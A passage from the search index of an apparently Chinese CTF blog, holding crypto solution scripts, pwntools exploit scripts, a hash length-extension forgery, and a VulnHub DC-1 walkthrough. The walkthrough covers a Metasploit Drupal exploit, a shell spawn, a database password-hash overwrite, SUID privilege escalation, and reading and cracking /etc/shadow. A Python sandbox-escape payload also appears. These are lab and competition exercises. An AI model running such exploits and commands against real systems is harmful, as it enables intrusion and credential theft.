13951357765155709449830622397661638963070683976472071585199504608625810928008612997548809635837631164950341825594429159537546547719716808479935035640532723431507957846055033278541122998184597009740171807903306417775729507986843778070860411124830445265478641966781186918221084904469724098608590367319371499057qr = n//pq = fermat(qr)r = qr//qphi = (p-1)*(q-1)*(r-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,n))[::-1])","categories":[{"name":"日常练习","slug":"日常练习","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/"},{"name":"随缘刷题(一)","slug":"日常练习/随缘刷题-一","permalink":"http://example.com/categories/%E6%97%A5%E5%B8%B8%E7%BB%83%E4%B9%A0/%E9%9A%8F%E7%BC%98%E5%88%B7%E9%A2%98-%E4%B8%80/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"刷题","slug":"刷题","permalink":"http://example.com/tags/%E5%88%B7%E9%A2%98/"}]},{"title":"DASCTF NOVX联合出题人2022","slug":"DASCTF-NOVX联合出题人2022","date":"2023-02-05T05:09:44.000Z","updated":"2023-02-05T15:08:38.000Z","comments":true,"path":"2023/02/05/DASCTF-NOVX联合出题人2022/","link":"","permalink":"http://example.com/2023/02/05/DASCTF-NOVX%E8%81%94%E5%90%88%E5%87%BA%E9%A2%98%E4%BA%BA2022/","excerpt":"​ 刷刷之前没打的小比赛,持续学习。","text":"​ 刷刷之前没打的小比赛,持续学习。 easy_hash根据encode,在已知$a_1$的情况下直接两次hash可求$a_2,a_3$,那么$a_0$也可以联立secret求出,由于题目的$a_0$正好小于500比特(如果不满足则无法恢复flag),直接转为字节去掉crc校验部分即可。 1234567891011121314151617181920212223242526272829from Crypto.Util.number import bytes_to_long, long_to_bytesfrom zlib import crc32P = 93327214260434303138080906179883696131283277062733597039773430143631378719403851851296505697016458801222349445773245718371527858795457860775687842513513120173676986599209741174960099561600915819416543039173509037555167973076303047419790245327596338909743308199889740594091849756693219926218111062780849456373print(P.bit_length())def myhash(x): res = [] end = b"" bytescipher = long_to_bytes(x) a = bytescipher[:len(bytescipher) % 8] res.append(a) res.append(long_to_bytes(crc32(a))) t = (len(bytescipher) // 8) bytescipher = bytescipher[len(bytescipher) % 8:] for i in range(t): a = bytescipher[i*8:i*8+8] res.append(a) res.append(long_to_bytes(crc32(a))) for i in res: end += i res = bytes_to_long(end) res = (res + (res >> 500)) & 2**(500)-1 return resa1, secret = (1768672211043417187765307394749760760531160781992300779145800061219666992833602547480090118225665457075744297987672863699370162614965380859290914620736, 89139545215288033432210221492974990584987914397112840989583439688211128705545477536596587262069032020212762581490561288493533363888589066045095054475929099275247145877699370608950340925139625068446642116123285918461312297390611577025368805438078034230342490499137494400676347225155752865648820807846513044723)a2 = myhash(a1)a3 = myhash(a2)a0 = secret - (a1 ** 2 + a2 * a1 ** 2 + a3 * a1 ** 3) % Pprint(long_to_bytes(a0)) LLLCCCGGGoutput为连续输出的序列,可构造两组kn求公因子恢复n,进一步求出$a_1,a_2,seed$,下一步就是利用背包格求key,背包格普通对角矩阵类型不能成功(系数很难调): 12345678910111213n = len(m)d = n / (max(m).log(2))N = ceil(1 / 2 * sqrt(n))print(N)assert d < 0.9408, f"Density should be less than 0.9408 but was {d}."L=Matrix(n+1,n+1)for i in range(n): L[i,-1]=m[i] * N L[i,i]=1 L[-1,-1]=-s * NL=L.LLL()print(L) 利用提高密度的格来处理会更容易做出来,得到序列为 [1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1],拿到初始的state,构造矩阵快速幂来求最终的state。最后求哈希并异或。 123456789101112131415161718192021222324252627282930313233from gmpy2 import *from Crypto.Util.number import *import hashliboutput= []a= 102146678855348749881681741830301892566150942749854546938156269348575567682569b= 57926598868103510549704115342815226386495366694945712679089221082045615713293c= 79112540456632613121737537841885533313599936328220061653608162113976717833173xorflag= 0x2079677330734e7d07116d73543d03316c6501555c02403b7201080612101049t0 = output[1] - output[0]t1 = output[2] - output[1]t2 = output[3] - output[2]t3 = output[4] - output[3]n = gcd(t2*t0 - t1**2,t3*t1 - t2**2)a1 = (output[2] - output[1]) * invert(output[1] - output[0],n) % nb1 = (output[1] - a1 * output[0]) % nseed = (output[0] - b1)*invert(a1,n) % nprint(seed)key = [1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1]state = int(''.join([str(i) for i in key]), 2)A = matrix(Zmod(c), [[a, 1], [0, 1]])B = vector(Zmod(c), [state, b])state = int((A ^ (10 ** 10000) * B)[0])state_md5 = hashlib.md5(str(state).encode()).hexdigest()state_md5 = bytes_to_long(state_md5.encode())print(long_to_bytes(state_md5 ^^ xorflag))# DASCTF{D0u_Ge_1S_R4al1y_G00d!!!}' easyrsa分解n用two_squares(n),然后再构造整环多项式,以q为基底分解n2,由于flag未pad,而n3的phi是e的倍数,所以应该在模p1的域下解方程。 1234567891011121314151617181920212223242526272829303132333435from sage.all import *from Crypto.Util.number import long_to_bytesc= 260434870216758498838321584935711394249835963213639852217120194663627852693180232036075839403208332707552953757185774603238436545434522971149891312380970896040823539050341723863717581297624370198483155582245220695123793458717418658539983101802256991837534210806768587736557644192367876024337837658337683388449336720569707094997412847022794461117019613124291022681935875774139147643806772608929174881451749463825639214096129554621195116737322890163556732291246108250543079041977037626755130422879778449546701988814607595746282148723362288451970833214072743929855505520539885650891349827459470540263153862109871050950881032032388185414677989393461533362690744724752363346530211163516319373099647590952338730n2= 77582485123791158683121280616703899430016469065264033598472741751344256774648355531493586310864150337351815051848231793841751148287075688226384710343269278032576253497728407800522536152937473072438970839941923618053297480433385258911357458745700958378269978384670108026994918504237309072908971746160378531040480539649223970964653553804442759847964633088481940435582792404175653758785321463055628690804551479982557193366035172983893595403859872458966844805671311011033726279121149599533093604586152158331657286488305064843651636225644328162652701896037366058322959361248649656784810609391313p1, q1 = (200170033707580057053975766783012322797, 214489650309129059054871357172058931331)q1=q1+63066105847160076051036559850646146794poly = sum(e * x^i for i,e in enumerate(Integer(n2).digits(q1)))(p, _), (q, _), (r, _) = poly.factor_list()p, q, r = p(x=q1), q(x=q1), r(x=q1)assert p*q*r == n2# while True:# p1=next_prime(p1)# p=next_prime(p)# q=next_prime(q)# r=next_prime(r)# if (p-1)%7==0 and (q-1)%7 ==0 and (r-1)%7==0 and (p1-1)%7==0:# breakp1 = 65852498339760915228594889597136378107876107334695562152983809050259001488139010835535729480582643283480229654777004862320849604335829446520865511011593811440123502620735962409526109695434570389431p = 42974281584522050062504679441184925920720278381761957641733614118720547476055402383959476142344396618643274705251619494499668048977089541037606316780609473959806621223833644762635231018066406292679q = 27414656307685249691067705927388582241684529669740981719565564735302197575673076783872355553268011939023273356472727941960439764826793614011976095106476097211511966378338911454193294048309326229291r = 200170033707580057053975766783012328327print(int(p1).bit_length())# flag未padding,所以可以在p的域下解方程P.<x> = Zmod(p1)[]f = x^7 - cres = f.roots()for i in res: if b'DASCTF' in long_to_bytes(int(i[0])): print(long_to_bytes(int(i[0]))) Matrix把A和enc都化为 Jordan 标准型,打印可以发现直接就是对角矩阵了,那么由于$a=p^{-1}AP$,有$a^e=p^{-1}A^ep$,所以求矩阵的dlp转化为求logA(A^e),进一步可以转化为求对角线对应位置的元素的dlp。 1234567891011121314151617181920A=B=p=12143520799543738643orders = []for i in factor(p-1): print(i) orders.append(i[0]) n = 12G = matrix(GF(p), n, n, A)H = matrix(GF(p), n, n, B)G_Jor, P = G.jordan_form(transformation=True)H_Jor = ~P * H * Pfor i in G_Jor: print(i)for j in H_Jor: print(j)print(GF(p)(3789608816284836580).log(GF(p)(37)))","categories":[{"name":"buu","slug":"buu","permalink":"http://example.com/categories/buu/"},{"name":"DASCTF NOVX联合出题人2022","slug":"buu/DASCTF-NOVX联合出题人2022","permalink":"http://example.com/categories/buu/DASCTF-NOVX%E8%81%94%E5%90%88%E5%87%BA%E9%A2%98%E4%BA%BA2022/"}],"tags":[{"name":"buu","slug":"buu","permalink":"http://example.com/tags/buu/"},{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"pwnhub冬季赛2022","slug":"pwnhub冬季赛2022","date":"2022-12-18T01:20:47.000Z","updated":"2022-12-20T11:12:40.000Z","comments":true,"path":"2022/12/18/pwnhub冬季赛2022/","link":"","permalink":"http://example.com/2022/12/18/pwnhub%E5%86%AC%E5%AD%A3%E8%B5%9B2022/","excerpt":"Misc游戏来咯签到,注册游戏账号登录,在侧边栏看到flag1.","text":"Misc游戏来咯签到,注册游戏账号登录,在侧边栏看到flag1. 坐井观天12345678from pwn import *io = remote('47.97.127.1',21542)io.interactive()# $ eval(input())# __import__('os').system('cat flag')# flag{5de8088410b719e42f82132163672a84} 证书里也有秘密长亭的漏扫工具xray的证书解析,自己写的话比较麻烦,找到个项目,go build然后解析即可。 垃圾邮件分析原本是个AI题,但是验证只需要10个数据,那么直接手动交互人工识别更简单。 1234567891011121314151617181920212223242526272829303132from pwn import *from hashlib import *import stringimport itertoolstable = string.ascii_uppercase + string.ascii_lowercase + string.digitsio = remote('47.97.127.1',28816)def proof(): s1 = io.recvline() print(s1) p1 = s1.find(b'(') p2 = s1.find(b')') p3 = s1.find(b'= ') s = s1[p1+1:p2-7] h = s1[p3+2:-1] h = h.decode() print(h) print(s) for i in itertools.product(table, repeat=4): d = ''.join(i).encode() dd = s + d #print(dd) if sha256(dd).hexdigest() == h: print(d) io.sendline(d) io.interactive() breakproof()# 10次判定太简单,手动判定即可# Good job! Just take it:# flag{c2b776a605897dcfab302d7df7ca133a} CryptoASRm的加密没有padding,非预期可出:得到s之后,把s当作n用来解密,因为flag<s。 12345678910111213141516171819RSA1 = 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713RSA2 = 0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37c = 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902N = 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7e = 0x10001from gmpy2 import *s = gcd(N,RSA1)RA = RSA1//sprint(bin(RA))mul = N//sassert mul * s == N# 非预期phi = s - 1d = invert(e,phi)from Crypto.Util.number import *print(long_to_bytes(pow(c,d,s))) 预期解的话应该要用剪枝算法去分解$R\\cdot A \\cdot S$ 1234567891011121314151617181920212223RSA1 = 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713RSA2 = 0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37c = 0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902N = 0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7def findp(p,q): if len(p)==256: pp=int(p,2) if RSA1%pp==0: print(pp) print(RSA1//pp) else: l=len(p) pp=int(p,2) qq=int(q,2) if (pp|qq)%(2**l)==RSA2%(2**l) and pp*qq%(2**l)==RSA1%(2**l): findp('1'+p,'1'+q) findp('1'+p,'0'+q) findp('0'+p,'1'+q) findp('0'+p,'0'+q)findp('1','1') 大杂烩flag和p q有关,所以我们的最终目的是要分解n。首先e的低位就是a,求b可以把给的点带入椭圆曲线方程计算。求d需要造个维纳格,这里需要做一点变形:$Sd_1=enc_1+k_1N \\rightarrow d_1=(enc_1+k_1 N).t$ 12345678enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347A = [[enc2,1],[NN,0]]L=Matrix(ZZ,A)tmp=L.LLL()print(tmp) 求出d以后就可以用已知e d n的方法来分解n,最后做一个移位转字符即可。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from Crypto.Util.number import *import gmpy2import randomn = 117749279680045360245987277946945707343578937283621512842997606104123872211782263906911929773756533011817679794905642225389185861207256322349591633257348367854563703050789889773031032949742664695416275919382068347995088593380486820784360816053546651916291080971628354468517506190756456913824397593128781030749a = 1755716071599N = 236038564943567983056828121309828109017enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347mask = 0x3ffffffffffe_low = a#print(e&mask)print(e_low.bit_length())X = 996Y = 151729833458737979764886336489671975339b = (Y ** 2 - X ** 3 - a * X)%Ne = a + b * 2 ** 42d1 = 1118051836872760710925790177974923485721434630729839917104622531599012085778805696376125398218434332515040651866857417106717899073423532829576283671587324print(d1.bit_length())d2 = 1490307645430319095511255010328115542702206251159139554339698072781493976926650529688007738646519638596915659784020385914262312989530894410148472995625411print(d2.bit_length())d = d1 * 2**512 + d2def getpq(n,e,d): while True: k = e * d - 1 g = random.randint(0, n) while k%2==0: k=k//2 temp=gmpy2.powmod(g,k,n)-1 if gmpy2.gcd(temp,n)>1 and temp!=0: return gmpy2.gcd(temp,n)# https://blog.csdn.net/weixin_44110537/article/details/107869682p = getpq(n,e,d)q = n//pprint(p)print(q)ph = p >> (512-150)qh = q >> (512-151)print(long_to_bytes(qh))print(long_to_bytes(ph)) payorder哈希长度拓展攻击,最基本的构造,没有魔改。直接扔个官方wp 12345678910111213141516171819202122232425262728293031from pwn import *from base64 import b64decode, b64encodeimport hashpumpycontext.log_level = 'debug'while True: io = remote('47.97.127.1',28959) io.sendlineafter('> ', '2') io.sendlineafter('Which one? ', '9') io.recvuntil('Order: ') order = io.recvuntil(b'\\n')[:-1] order = b64decode(order) print('order:',order) sp = order.rfind(b'&s=') sign = order[sp+3:] payment = order[:sp] print(sign, payment) fhash, content = hashpumpy.hashpump(sign, payment, b'&c=999', 18) print(fhash, content) payload = content + b'&s=' + fhash.encode() print(payload) payload = b64encode(payload) io.sendlineafter('> ', '3') io.sendlineafter('Order: ', payload) info = io.recvuntil('\\n> ') if b'Invalid Order!' in info: io.close() continue else: io.interactive()","categories":[{"name":"PWNHUB","slug":"PWNHUB","permalink":"http://example.com/categories/PWNHUB/"},{"name":"冬季赛","slug":"PWNHUB/冬季赛","permalink":"http://example.com/categories/PWNHUB/%E5%86%AC%E5%AD%A3%E8%B5%9B/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"pwnhub","slug":"pwnhub","permalink":"http://example.com/tags/pwnhub/"}]},{"title":"VULNHUB-DC1","slug":"VULNHUB-DC1","date":"2022-12-01T13:01:58.000Z","updated":"2022-12-01T13:05:04.000Z","comments":true,"path":"2022/12/01/VULNHUB-DC1/","link":"","permalink":"http://example.com/2022/12/01/VULNHUB-DC1/","excerpt":"学习下内网渗透,先从简单的来,真好玩啊 :)","text":"学习下内网渗透,先从简单的来,真好玩啊 :) VULNHUB DC:1扫描主机,猜测应该是132这个 扫描端口 -p-是扫描所有端口,-sV是版本号,发现80端口打开,于是尝试访问网页,发现存在drupal这个php框架 那么直接用msf6进行相关poc的搜索,找一个评分比较高的进行attack: 拿到shell,并读取flag1: Every good CMS needs a config file - and so do you.,这是在提示我们要去找网站的配置文件,那么直接去/var/www下搜寻,读取配置文件,里面有flag2: 这里在提示我们爆破和字典并不是获取凭据的唯一方式。这里还挺明显的,因为下边给了数据库的相关配置。直接尝试mysql -u dbuser -p Enter password: R0ck3t,这里无法执行成功,于是先反弹一个shell再操作。利用python -c 'import pty;pty.spawn("/bin/sh")'反弹成功,然后登入数据库。 这里在数据库drupaldb中没找到可疑的table,所以直接查user表,发现密码都是经常哈希和加密处理的,于是得想办法调用网站的加密脚本得到一个我们伪造的密码的哈希值,然后再更新到user表中。在网站目录下找到了哈希脚本: 用法也很简单,调用脚本跟一个密码明文就行: 拿到哈希值以后拿去写入到user表里:update drupaldb.users set pass="$S$DMnZdG2N2VEHBkxVQJ1ShsarIh5Di5cbffa19KGBcqvbklJZVr/y" where name="admin"; 然后就可以拿admin/zimablue成功登入网站。在find content里找到flag3: 显然这里提示我们要去获取shadow中的内容,那么就得提权了。这里提权使用suid ,关于linux文件权限请参考博客,还需了解这里find的参数,总之我们提权过程如下: 直接cat /etc/shadow可以搞到flag4flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7::: 最后应该就是破解这个shadow文件了,一般都是用John the Ripper进行处理。用ssh的scp把shadow和passwd都传回kali: 合二为一unshadow passwd shadow > out ,直接join out 即可,似乎直接对shadow作用也是可以的。 最后用这个flag4/orange连接ssh。然后一样的find提权,进入root目录拿到最后一个flag,完成本次任务。 不得不说内问渗透真是太好玩了:) 再接再厉.","categories":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://example.com/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"},{"name":"VULNHUB系列靶场","slug":"内网渗透/VULNHUB系列靶场","permalink":"http://example.com/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/VULNHUB%E7%B3%BB%E5%88%97%E9%9D%B6%E5%9C%BA/"}],"tags":[{"name":"内网渗透","slug":"内网渗透","permalink":"http://example.com/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"}]},{"title":"breakMe and magic_ecc","slug":"breakMe-and-magic-ecc","date":"2022-11-15T02:43:33.000Z","updated":"2022-11-15T03:08:38.000Z","comments":true,"path":"2022/11/15/breakMe-and-magic-ecc/","link":"","permalink":"http://example.com/2022/11/15/breakMe-and-magic-ecc/","excerpt":"研究生国赛,听说两个题都是N1的密码师傅出的,就做了做,感谢等风师傅和coin哥哥的帮助。","text":"研究生国赛,听说两个题都是N1的密码师傅出的,就做了做,感谢等风师傅和coin哥哥的帮助。 breakMe题目: 123456789101112131415161718192021222324252627import osfrom random import randintfrom Crypto.Util.number import *from secret import flagflag = flag + os.urandom(63-len(flag))assert len(flag) == 63m = bytes_to_long(flag) def leak(): p = getPrime(256) q = getPrime(256) n = p * q Zn = Zmod(n) r = randint(2, n-1) enc = Zn(m)^4 + 3*Zn(m)^2 + r*Zn(m) return (n, r, enc)out = []for i in range(4): out.append(leak())print(out)"""out = [(10104838556837572425858698219763292763650577822827673166610165534445905790599515983298170585537299796651687586519310335005278459900442296258190069157011689, 7564828531806668305145314143078783846371361009728098013923139274278986668460078185780789906860320972246757193033127803017086784149355945294908935420078516, 4485282300120902750491340174759104149475684698869265622396467866957919693682690175170986883471126578030682174788280328493147605703476577928850956031397969), (9565548877530896106016727232483590558935243658719980153279803247495028412133813638614011877483865630231054031084370990573419237535803428480492680139453999, 6038408119341558448569646184012774768725225345959109849115178440273061081156678389998969575922258723126076562743356339971035685064411166619777569139016508, 8750745342976938305411200510628417969404035221738007736422965823102502205577159397824830272988223657169242542971101468532748569435454625452166610190128781), (7032132827543709857775159929155596851822367214393091928329402747976746664890617830698759196796244901655353689522245761374585849734855765538189679713755499, 537414417641982152632158507627084083552317654751808484984901390258392606135955264531766980767789787016920198980507584546004466948509548457976277102756022, 6922262573315623933995838201220725774224132378664014973566219095767042719198956812716498145319448424126056354168025846702083830628832406132772890238012895), (10867950060245850877527719152309028431430000864654153258281294463898174216443333061889067616907305797497470525064325706490087786413068565388484751510567929, 2817477928396391253997165521234258370798748353920680581012362899514855249356663733557730846938679462940826446464369055820695102402810943359431061366297287, 6437402158704542412615350656111816825238327397134975867813883010385929819022183388539677074062781989152267579279340992202100004308737301019250714974969949)]""" 4个n乘起来是2046比特,而维数是4,flag比特位数为$63\\cdot8=504$,那么$2046\\cdot(1/4-0.02)=471$,可以看出这个卡界很恶心,crt增大n也不够。于是想到flag头flag{有5个字节是已知的,那么这里可以把它拿掉,那么X大小变为$504-40=464$。这样就能出了,要把epsilon控为0.02。但是如果把X直接设为464,epsilon设为0.03也可以,dbt说是sage的epsilon和copper界的epsilon有点差异,咱也不太明白,就大概划个约等于符号吧。 exp: 123456789101112131415161718192021222324out = [(10104838556837572425858698219763292763650577822827673166610165534445905790599515983298170585537299796651687586519310335005278459900442296258190069157011689, 7564828531806668305145314143078783846371361009728098013923139274278986668460078185780789906860320972246757193033127803017086784149355945294908935420078516, 4485282300120902750491340174759104149475684698869265622396467866957919693682690175170986883471126578030682174788280328493147605703476577928850956031397969), (9565548877530896106016727232483590558935243658719980153279803247495028412133813638614011877483865630231054031084370990573419237535803428480492680139453999, 6038408119341558448569646184012774768725225345959109849115178440273061081156678389998969575922258723126076562743356339971035685064411166619777569139016508, 8750745342976938305411200510628417969404035221738007736422965823102502205577159397824830272988223657169242542971101468532748569435454625452166610190128781), (7032132827543709857775159929155596851822367214393091928329402747976746664890617830698759196796244901655353689522245761374585849734855765538189679713755499, 537414417641982152632158507627084083552317654751808484984901390258392606135955264531766980767789787016920198980507584546004466948509548457976277102756022, 6922262573315623933995838201220725774224132378664014973566219095767042719198956812716498145319448424126056354168025846702083830628832406132772890238012895), (10867950060245850877527719152309028431430000864654153258281294463898174216443333061889067616907305797497470525064325706490087786413068565388484751510567929, 2817477928396391253997165521234258370798748353920680581012362899514855249356663733557730846938679462940826446464369055820695102402810943359431061366297287, 6437402158704542412615350656111816825238327397134975867813883010385929819022183388539677074062781989152267579279340992202100004308737301019250714974969949)]from Crypto.Util.number import *print(long_to_bytes(9188843383765595152732717869563960735854186901243181659845493688642386675610699689062518689951817902641510893611339868537231465535961032531))def Function(n,r,c): P.<m> = PolynomialRing(Zmod(n)) k = bytes_to_long(b'flag{') * 2^(58 * 8) + m f = k^4 + 3*k^2 + r*k - c return ffs = []ns = []for i in out: ns.append(i[0]) print(i[0].nbits()) ff = Function(i[0],i[1],i[2]).monic().change_ring(ZZ) fs.append(ff)F = crt(fs,ns)#print(F)N = prod(ns)print(N.nbits())FF = F.change_ring(Zmod(N))roots = FF.small_roots(X=2^464,epsilon = 0.03)print(roots)#print(long_to_bytes(int(roots[0]))) magic_ecc也是在基本的crt上改了一下,就是需要去爆破一下x的偏移量,这个调参也不太好高,等风师傅说是这种一般先本地出一个调通了再去做题;然后一般在界里面的调beta就行,卡的很紧的再去调epsilon。关于copper的调参问题等我再细读论文出一个专栏学习吧。 题目: 1234567891011121314151617181920212223from Crypto.Util.number import *import random, osfrom secret import flagx = bytes_to_long(flag + os.urandom(128 - len(flag)))for i in range(4): p = getPrime(512) q = getPrime(512) n = p*q a = random.randint(0,n-1) b = random.randint(0,n-1) Ep = EllipticCurve(GF(p),[a,b]) Eq = EllipticCurve(GF(q),[a,b]) while True: try: Gp = Ep.lift_x(x) Gq = Eq.lift_x(x) y = crt([int(Gp[1]),int(Gq[1])],[p,q]) break except: x += 1 print(n,a,b,y) exp: 123456789101112131415161718192021222324252627282930313233343536373839from Crypto.Util.number import *lines = open("magic.txt","r").readlines()fs = []ns = []def Function(para,i): P.<x> = PolynomialRing(Zmod(para[0])) f = para[3]^2 - (x+i)^3 -para[1]*(x+i) - para[2] return fparas = []for line in lines: n,a,b,y = [ZZ(i) for i in line.strip().split(" ")] paras.append((n,a,b,y)) ns.append(n) N = prod(ns)print('brute force')for i1 in range(2^6): for i2 in range(2^6): for i3 in range(2^6): for i4 in range(2^6): try: f1 = Function(paras[0],i1).monic().change_ring(ZZ) f2 = Function(paras[1],i2).monic().change_ring(ZZ) f3 = Function(paras[2],i3).monic().change_ring(ZZ) f4 = Function(paras[3],i4).monic().change_ring(ZZ) fs = [f1,f2,f3,f4] F = crt(fs,ns) print('start') FF = F.change_ring(Zmod(N)) roots = FF.small_roots(beta=0.5,epsilon=0.02) #print('done') #print(roots) if b'flag' in long_to_bytes(roots[0]): print(long_to_bytes(int(roots[0]))) except: 